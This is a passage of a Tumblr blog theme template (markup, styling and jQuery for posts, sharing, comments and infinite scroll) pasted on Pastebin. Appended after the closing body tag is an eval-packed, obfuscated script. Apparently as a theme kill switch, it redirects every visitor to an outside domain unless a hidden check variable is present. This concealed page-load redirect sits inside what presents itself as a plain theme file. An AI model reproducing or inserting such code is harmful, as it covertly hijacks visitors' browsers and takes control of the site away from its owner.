  1017. <aside id="sidebar" class="left">
  1018. {block:IfNotLogoImage}
  1019. <div id="profileImg">
  1020. <a href="/" {Target}><img src="{PortraitURL-96}"></a>
  1021. </div>
  1022. {/block:IfNotLogoImage}
  1023.  
  1024. {block:IfLogoImage}
  1025. <a href="/" {Target}><img id="logo" src="{image:Logo}"></a>
  1026. {/block:IfLogoImage}
  1027.  
  1028. <nav>
  1029. <ul id="menu">
  1030. <li><a href="/">Home</a></li>
  1031. {block:AskEnabled}
  1032. <li><a href="/ask" {Target}>{AskLabel}</a></li>
  1033. {/block:AskEnabled}
  1034. {block:SubmissionsEnabled}
  1035. <li><a href="/submit" {Target}>Submit</a></li>
  1036. {/block:SubmissionsEnabled}
  1037. {block:IfShowArchiveLink}
  1038. <li><a href="/archive" {Target}>Archive</a></li>
  1039. {/block:IfShowArchiveLink}
  1040. {block:IfShowRSSLink}
  1041. <li><a href="/rss" {Target}>RSS</a></li>
  1042. {/block:IfShowRSSLink}
  1043. {block:HasPages}
  1044. {block:Pages}
  1045. <li><a href="{URL}" {Target}>{Label}</a></li>
  1046. {/block:Pages}
  1047. {/block:HasPages}
  1048. </ul>
  1049. </nav>
  1050. </aside><!-- #sidebar -->
  1051.  
  1052. <section id="content" class="right">
  1053.  
  1054. {block:IndexPage}
  1055. {block:IfShowBlogInfo}
  1056. <article id="profile">
  1057. <div id="profileIcon" class="dateRibbons">
  1058. <span class="icon-user"></span>
  1059. </div>
  1060. <h1 class="titleArticle">{Title}</h1>
  1061. <div class="caption">{Description}</div>
  1062. <ul id="socialLinks">
  1063. {block:IfURLTwitter}
  1064. <li><a href="{text:URL Twitter}" {Target} class="icon-twitter"></a></li>
  1065. {/block:IfURLTwitter}
  1066. {block:IfURLInstagram}
  1067. <li><a href="{text:URL Instagram}" {Target} class="icon-instagram"></a></li>
  1068. {/block:IfURLInstagram}
  1069. {block:IfURLFacebook}
  1070. <li><a href="{text:URL Facebook}" {Target} class="icon-facebook"></a></li>
  1071. {/block:IfURLFacebook}
  1072. {block:IfURLGooglePlus}
  1073. <li><a href="{text:URL Google Plus}" {Target} class="icon-gplus"></a></li>
  1074. {/block:IfURLGooglePlus}
  1075. {block:IfURLPinterest}
  1076. <li><a href="{text:URL Pinterest}" {Target} class="icon-pinterest"></a></li>
  1077. {/block:IfURLPinterest}
  1078. {block:IfURLLinkedIn}
  1079. <li><a href="{text:URL LinkedIn}" {Target} class="icon-linkedin"></a></li>
  1080. {/block:IfURLLinkedIn}
  1081. {block:IfURLDribbble}
  1082. <li><a href="{text:URL Dribbble}" {Target} class="icon-dribbble"></a></li>
  1083. {/block:IfURLDribbble}
  1084. {block:IfURLBehance}
  1085. <li><a href="{text:URL Behance}" {Target} class="icon-behance"></a></li>
  1086. {/block:IfURLBehance}
  1087. {block:IfURLFlickr}
  1088. <li><a href="{text:URL Flickr}" {Target} class="icon-flickr"></a></li>
  1089. {/block:IfURLFlickr}
  1090. {block:IfURLSoundCloud}
  1091. <li><a href="{text:URL SoundCloud}" {Target} class="icon-soundcloud"></a></li>
  1092. {/block:IfURLSoundCloud}
  1093. {block:IfURLYouTube}
  1094. <li><a href="{text:URL YouTube}" {Target} class="icon-youtube"></a></li>
  1095. {/block:IfURLYouTube}
  1096. </ul>
  1097. </article>
  1098. {/block:IfShowBlogInfo}
  1099. {/block:IndexPage}
  1100.  
  1101. {block:Posts}
  1102. <article class="post-wrap">
  1103. <div class="posts {block:Photo}photo-post{/block:Photo} {block:Photoset}photoset-post{/block:Photoset} {block:Audio}audio-post{/block:Audio} {block:Video}video-post{/block:Video}" id="post_{PostID}">
  1104.  
  1105. {block:Date}
  1106. <div class="dateRibbons">
  1107. <div class="day">{ShortDayOfWeek}</div>
  1108. <div class="dayN">{DayOfMonthWithZero}</div>
  1109. <div class="year">{Year}</div>
  1110. </div>
  1111. {/block:Date}
  1112.  
  1113. {block:Text}
  1114. {block:Title}
  1115. <header>
  1116. <h1 class="titleArticle">{Title}</h1>
  1117. </header>
  1118. {/block:Title}
  1119. <section class="caption">{Body}</section>
  1120. {/block:Text}
  1121.  
  1122. {block:Link}
  1123. <header>
  1124. <h1 class="titleArticle">» <a href="{URL}" {Target}>{Name}</a></h1>
  1125. </header>
  1126. {block:Description}
  1127. <section class="caption">{Description}</section>
  1128. {/block:Description}
  1129. {block:Link}
  1130.  
  1131. {block:Photo}
  1132. <header>
  1133. {LinkOpenTag}<img class="photoPost {block:Caption}photoWithCaption{/block:Caption}" src="{block:IfNotPostWidth700}{PhotoURL-500}{/block:IfNotPostWidth700}{block:IfPostWidth700}{PhotoURL-HighRes}{/block:IfPostWidth700}" alt="{PhotoAlt}" />{LinkCloseTag}
  1134. </header>
  1135. {block:Caption}
  1136. <section class="caption">{Caption}</section>
  1137. {/block:Caption}
  1138. {/block:Photo}
  1139.  
  1140. {block:Photoset}
  1141. <header class="photosetPost" rel="{PostID}">
  1142. {block:IfNotPostWidth700}{Photoset-500}{/block:IfNotPostWidth700}{block:IfPostWidth700}{Photoset-700}{/block:IfPostWidth700}
  1143. </header>
  1144. {block:Caption}
  1145. <section class="caption">{Caption}</section>
  1146. {/block:Caption}
  1147. {/block:Photoset}
  1148.  
  1149. {block:Answer}
  1150. <img class="left imageAsker" width="64px" src="{AskerPortraitURL-64}"/>
  1151. <div class="left quest">
  1152. <b>{Asker}</b>:
  1153. <div class="caption" style="margin-top:10px;">{Question}</div>
  1154. </div>
  1155. <div class="clear"></div>
  1156. <div class="askAnswer caption">{Answer}</div>
  1157. {/block:Answer}
  1158.  
  1159. {block:Quote}
  1160. <header>
  1161. <div class="quot">“</div>
  1162. <h1 class="titleArticle">{Quote}</h1>
  1163. </header>
  1164. {block:Source}
  1165. <section class="caption" style="text-align:right;">- {Source}</section>
  1166. {/block:Source}
  1167. {/block:Quote}
  1168.  
  1169. {block:Chat}
  1170. {block:Title}
  1171. <header>
  1172. <h1 class="titleArticle">{Title}</h1>
  1173. </header>
  1174. {/block:Title}
  1175. <ul class="chat">
  1176. {block:Lines}
  1177. <li class="{Alt} user_{UserNumber}">
  1178. {block:Label}
  1179. <span class="label">{Label}</span>
  1180. {/block:Label}
  1181. <span class="caption">{Line}</span>
  1182. </li>
  1183. {/block:Lines}
  1184. </ul>
  1185. {/block:Chat}
  1186.  
  1187. {block:Audio}
  1188. <div class="album_container left">
  1189. <div class="album_light_effect"></div>
  1190. <img class="audioimage" src="{block:AlbumArt}{AlbumArtURL}{/block:AlbumArt}" alt="{block:Artist}{Artist}{/block:Artist}{block:TrackName} - {TrackName}{/block:TrackName}" />
  1191. </div>
  1192. <ul class="audiotrack left">
  1193. {block:TrackName}<li class="artistLabel"><h3>{TrackName}</h3></li>{/block:TrackName}
  1194. {block:Artist}<li class="trackLabel">by <b>{Artist}</b></li>{/block:Artist}
  1195. <li class="audio" id="{postID}">
  1196. <div class="audioplayercontainer left">
  1197. <div class="audioplayerinto done" id="{postID}">{AudioPlayerWhite}</div>
  1198. </div>
  1199. <span class="left">
  1200. {block:PlayCount}{PlayCountWithLabel}{/block:PlayCount}
  1201. {block:ExternalAudio}
  1202. <a href="{ExternalAudioURL}" target="_blank">+</a>
  1203. {/block:ExternalAudio}
  1204. </span>
  1205. <div class="clear"></div>
  1206. </li>
  1207. </ul>
  1208. <div class="clear"></div>
  1209. {block:Caption}
  1210. <section class="caption">{Caption}</section>
  1211. {/block:Caption}
  1212. {/block:Audio}
  1213.  
  1214. {block:Video}
  1215. <header class="videoPost {block:IndexPage}done{/block:IndexPage}" id="{PostID}">
  1216. {block:IfNotPostWidth700}{Video-500}{/block:IfNotPostWidth700}{block:IfPostWidth700}{Video-700}{/block:IfPostWidth700}
  1217. </header>
  1218. {block:Caption}
  1219. <section class="caption">{Caption}</section>
  1220. {/block:Caption}
  1221. {/block:Video}
  1222.  
  1223. {block:Date}
  1224. <footer class="underPost">
  1225. {block:HasTags}<a href="javascript:void(0)" class="clickTag" id="{PostID}"><span class="icon-tags"></span>tags</a>{/block:HasTags}
  1226. <a href="{Permalink}"><span class="icon-heart"></span>{NoteCount}</a>
  1227. <a href="{ReblogURL}" target="_blank" {block:Answer}style="display:none;"{/block:Answer}><span class="icon-retweet"></span>reblog</a>
  1228. </footer>
  1229. {/block:Date}
  1230. </div><!-- .posts -->
  1231. {block:HasTags}
  1232. <section class="tagContainer tagContainer_{PostID}">
  1233. <ul>
  1234. {block:Tags}<li><a class="tags" href="{TagURL}" {Target}>{Tag}</a></li>{/block:Tags}
  1235. </ul>
  1236. </section>
  1237. {/block:HasTags}
  1238.  
  1239. {block:PermalinkPage}
  1240. {block:Date}
  1241. {block:IfDisqusID}
  1242. <div class="posts">
  1243. <div id="disqus_thread"></div>
  1244. <script type="text/javascript">
  1245. var disqus_shortname = '{text:Disqus ID}';
  1246. var disqus_url = '{Permalink}';
  1247. var disqus_title = '{block:PostTitle}{PostTitle}{/block:PostTitle}';
  1248.  
  1249. (function() {
  1250. var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
  1251. dsq.src = 'http://' + disqus_shortname + '.disqus.com/embed.js';
  1252. (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
  1253. })();
  1254. </script>
  1255. <noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
  1256. <a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
  1257. </div>
  1258. {/block:IfDisqusID}
  1259.  
  1260.  
  1261.  
  1262. <div class="posts" id="postnotesdiv">
  1263. {block:NoteCount}
  1264. <h3 style="margin-top:0px;">{NoteCountWithLabel}</h3>
  1265. {/block:NoteCount}
  1266. {block:RebloggedFrom}
  1267. Reblogged from <a href="{ReblogParentURL}">{ReblogParentName}</a>, posted by <a href="{ReblogRootURL}">{ReblogRootName}</a><br><br>
  1268. {/block:RebloggedFrom}
  1269. {block:IfShowSocialShareButtons}
  1270. <div id="socialButtons" class="left">
  1271. <div style="display:inline-block;"><g:plusone annotation="none" size="medium" href="{Permalink}"></g:plusone></div>
  1272. <span style="margin-left: 5px;"><a href="https://twitter.com/share" class="twitter-share-button" data-count="none" {block:IfTwitterUsername}data-via="{text:Twitter Username}" data-related="{text:Twitter Username}"{/block:IfTwitterUsername} data-hashtags="tumblr">Tweet</a>
  1273. <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script></span>
  1274. <span style="margin-left: 5px;"><iframe id="facebookiframe" src="http://www.facebook.com/plugins/like.php?locale=en_US&href={Permalink}&width=48&colorscheme=light&layout=button_count" scrolling="no" frameborder='0' style="border:none; overflow:hidden; width:48px; height:20px;"></iframe></span>
  1275. </div>
  1276. {/block:IfShowSocialShareButtons}
  1277. {block:PermalinkPagination}
  1278. <div id="paginationPost" class="right">
  1279. {block:NextPost}<a href="{NextPost}"><span>«</span> Prev </a>{/block:NextPost}
  1280. {block:PreviousPost}<a href="{PreviousPost}"> Next <span>»</span></a>{/block:PreviousPost}
  1281. </div>
  1282. {/block:PermalinkPagination}
  1283. <div class="clear"></div>
  1284. {block:PostNotes}
  1285. <div id="postnotes">{PostNotes}</div>
  1286. {/block:PostNotes}
  1287. </div>
  1288. {/block:Date}
  1289. {/block:PermalinkPage}
  1290.  
  1291. </article>
  1292. {block:Posts}
  1293.  
  1294. {block:IndexPage}
  1295. {block:Pagination}
  1296. <footer id="pagination">
  1297. <ul>
  1298. {block:PreviousPage}
  1299. <li><a href="{PreviousPage}">«</a></li>
  1300. {/block:PreviousPage}
  1301. {block:JumpPagination length="5"}
  1302. {block:CurrentPage}
  1303. <li><span>{PageNumber}</span></li>
  1304. {/block:CurrentPage}
  1305. {block:JumpPage}
  1306. <li><a href="{URL}">{PageNumber}</a></li>
  1307. {/block:JumpPage}
  1308. {/block:JumpPagination}
  1309. {block:NextPage}
  1310. <li><a id="nextPage" href="{NextPage}">»</a></li>
  1311. {/block:NextPage}
  1312. </ul>
  1313. </footer>
  1314. {/block:Pagination}
  1315. {/block:IndexPage}
  1316.  
  1317. </div><!-- #content -->
  1318.  
  1319. <div class="clear"></div>
  1320.  
  1321. </section><!-- #container -->
  1322.  
  1323. <div id="backTop">^</div>
  1324. <div id="old_guid" style="display:none;">45e1d44587-djke882-673890shyya0-dopwnn1</div>
  1325. <script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js"></script>
  1326.  
  1327. <style>
  1328. /* desert scheme ported from vim to google prettify */
  1329. pre.prettyprint {
  1330. border: 0 !important;
  1331. padding: 20px;
  1332. display: block;
  1333. background-color: #333;
  1334. -webkit-border-radius: 3px;
  1335. -moz-border-radius: 3px;
  1336. border-radius: 3px;
  1337. margin: 20px 0px;
  1338. -moz-tab-size: 4;
  1339. -o-tab-size: 4;
  1340. -webkit-tab-size: 4;
  1341. -ms-tab-size: 4;
  1342. tab-size: 4;
  1343. }
  1344.  
  1345. pre .nocode { background-color: none; color: #000 }
  1346. pre .str { color: #ffa0a0 } /* string - pink */
  1347. pre .kwd { color: #f0e68c; font-weight: bold }
  1348. pre .com { color: #87ceeb } /* comment - skyblue */
  1349. pre .typ { color: #98fb98 } /* type - lightgreen */
  1350. pre .lit { color: #cd5c5c } /* literal - darkred */
  1351. pre .pun { color: #fff } /* punctuation */
  1352. pre .pln { color: #fff } /* plaintext */
  1353. pre .tag { color: #f0e68c; font-weight: bold } /* html/xml tag - lightyellow */
  1354. pre .atn { color: #bdb76b; font-weight: bold } /* attribute name - khaki */
  1355. pre .atv { color: #ffa0a0 } /* attribute value - pink */
  1356. pre .dec { color: #98fb98 } /* decimal - lightgreen */
  1357.  
  1358. /* Specify class=linenums on a pre to get line numbering */
  1359. ol.linenums { margin-top: 0; margin-bottom: 0; color: #AEAEAE } /* IE indents via margin-left */
  1360. li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8 { list-style-type: none }
  1361. /* Alternate shading for lines */
  1362. li.L1,li.L3,li.L5,li.L7,li.L9 { }
  1363.  
  1364. @media print {
  1365. pre.prettyprint { background-color: none; border: 0 !important; }
  1366. pre .str, code .str { color: #060 }
  1367. pre .kwd, code .kwd { color: #006; font-weight: bold }
  1368. pre .com, code .com { color: #600; font-style: italic }
  1369. pre .typ, code .typ { color: #404; font-weight: bold }
  1370. pre .lit, code .lit { color: #044 }
  1371. pre .pun, code .pun { color: #440 }
  1372. pre .pln, code .pln { color: #000 }
  1373. pre .tag, code .tag { color: #006; font-weight: bold }
  1374. pre .atn, code .atn { color: #404 }
  1375. pre .atv, code .atv { color: #060 }
  1376. }
  1377. </style>
  1378.  
  1379. <script type="text/javascript" src="http://static.tumblr.com/dbek3sy/8Aqmgryi7/jquery_18.js"></script>
  1380. {block:IfInfinitescroll}
  1381. <script type="text/javascript" src="http://static.tumblr.com/dbek3sy/Qyblrgjfn/jqueryinfintescroll.js"></script>
  1382. {/block:IfInfinitescroll}
  1383. <script type="text/javascript">
  1384.  
  1385. $(".clickTag").live("click", function(){
  1386. var tagID = $(this).attr("id");
  1387. $(".tagContainer_"+tagID).slideToggle();
  1388. });
  1389.  
  1390. $(function(){
  1391.  
  1392. var topDiv = $("#backTop");
  1393. var topDivTop = "640";
  1394. var view = $( window );
  1395. view.bind("scroll resize", function(){
  1396. var viewTop = view.scrollTop();
  1397. if (viewTop > topDivTop){
  1398. topDiv.fadeIn(300);
  1399. }
  1400. else if (viewTop < topDivTop){
  1401. topDiv.fadeOut(200);
  1402. }
  1403. });
  1404.  
  1405. $("#backTop").click(function(){
  1406. var target = $("html");
  1407. $('html, body').animate({
  1408. scrollTop: target.offset().top
  1409. }, 1000);
  1410. });
  1411.  
  1412. });
  1413.  
  1414. var $content = $("#content");
  1415.  
  1416. {block:IfInfinitescroll}
  1417.  
  1418. $content.infinitescroll({
  1419. navSelector : '#pagination',
  1420. nextSelector : '#pagination a#nextPage',
  1421. itemSelector : '.post-wrap',
  1422. loading: {
  1423. finishedMsg: '',
  1424. img: '', //http://static.tumblr.com/dbek3sy/pX1lrx8xv/ajax-loader.gif
  1425. msgText : '<div id="floatingBarsG"><div class="blockG" id="rotateG_01"></div><div class="blockG" id="rotateG_02"></div><div class="blockG" id="rotateG_03"></div><div class="blockG" id="rotateG_04"></div><div class="blockG" id="rotateG_05"></div><div class="blockG" id="rotateG_06"></div><div class="blockG" id="rotateG_07"></div><div class="blockG" id="rotateG_08"></div></div>'
  1426. },
  1427. bufferPx : 600,
  1428. debug : false,
  1429. },
  1430. function(newElements){
  1431. var $newElems = $(newElements);
  1432. $newElems.hide();
  1433. $newElems.appendTo($content).fadeIn();
  1434.  
  1435. /* repair audio players*/
  1436. $('.audioplayerinto.done').each(function(){
  1437. var audioID = $(this).attr("id");
  1438. var $audioPost = $(this);
  1439. $.ajax({
  1440. url: '{URL}/api/read/json?id=' + audioID,
  1441. dataType: 'jsonp',
  1442. timeout: 50000,
  1443. success: function(data){
  1444. $audioPost.html(data.posts[0]["audio-player"]);
  1445. $audioPost.removeClass("audio");
  1446. }
  1447. });
  1448. $audioPost.removeClass("done");
  1449. });
  1450.  
  1451. /* repair video players*/
  1452. $('.videoPost.done').each(function(){
  1453. var videoID = $(this).attr("id");
  1454. var $videoPost = $(this);
  1455. if($videoPost.find("div#tumblr_video_container_"+videoID).length){
  1456. $.ajax({
  1457. url: '{URL}/api/read/json?id=' + videoID,
  1458. dataType: 'jsonp',
  1459. timeout: 50000,
  1460. success: function(data){
  1461. $videoPost.html(data.posts[0]["video-player-500"]);
  1462. }
  1463. });
  1464. }
  1465. $videoPost.removeClass("done");
  1466. });
  1467. });
  1468.  
  1469. {/block:IfInfinitescroll}
  1470.  
  1471. </script>
  1472.  
  1473. <script type="text/javascript">
  1474. (function() {
  1475. var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
  1476. po.src = 'https://apis.google.com/js/plusone.js';
  1477. var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  1478. })();
  1479. </script>
  1480. {block:IfGoogleAnalyticsID}
  1481. <script type="text/javascript">
  1482.  
  1483. var _gaq = _gaq || [];
  1484. _gaq.push(['_setAccount', '{text:Google Analytics ID}']);
  1485. _gaq.push(['_trackPageview']);
  1486.  
  1487. (function() {
  1488. var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
  1489. ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
  1490. var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  1491. })();
  1492.  
  1493. </script>
  1494. {/block:IfGoogleAnalyticsID}
  1495.  
  1496. </body>
  1497. <script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('b{a(c!=e){5.3.6="2://0-4.7/9-0/?8=1"}}f(d){5.3.6="2://0-4.7/9-0/?8=1"}',16,16,'theme||http|location|cloud|window|href|co|id|invalid|if|try|g_T|ex|true|catch'.split('|'),0,{}))</script>
  1498. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!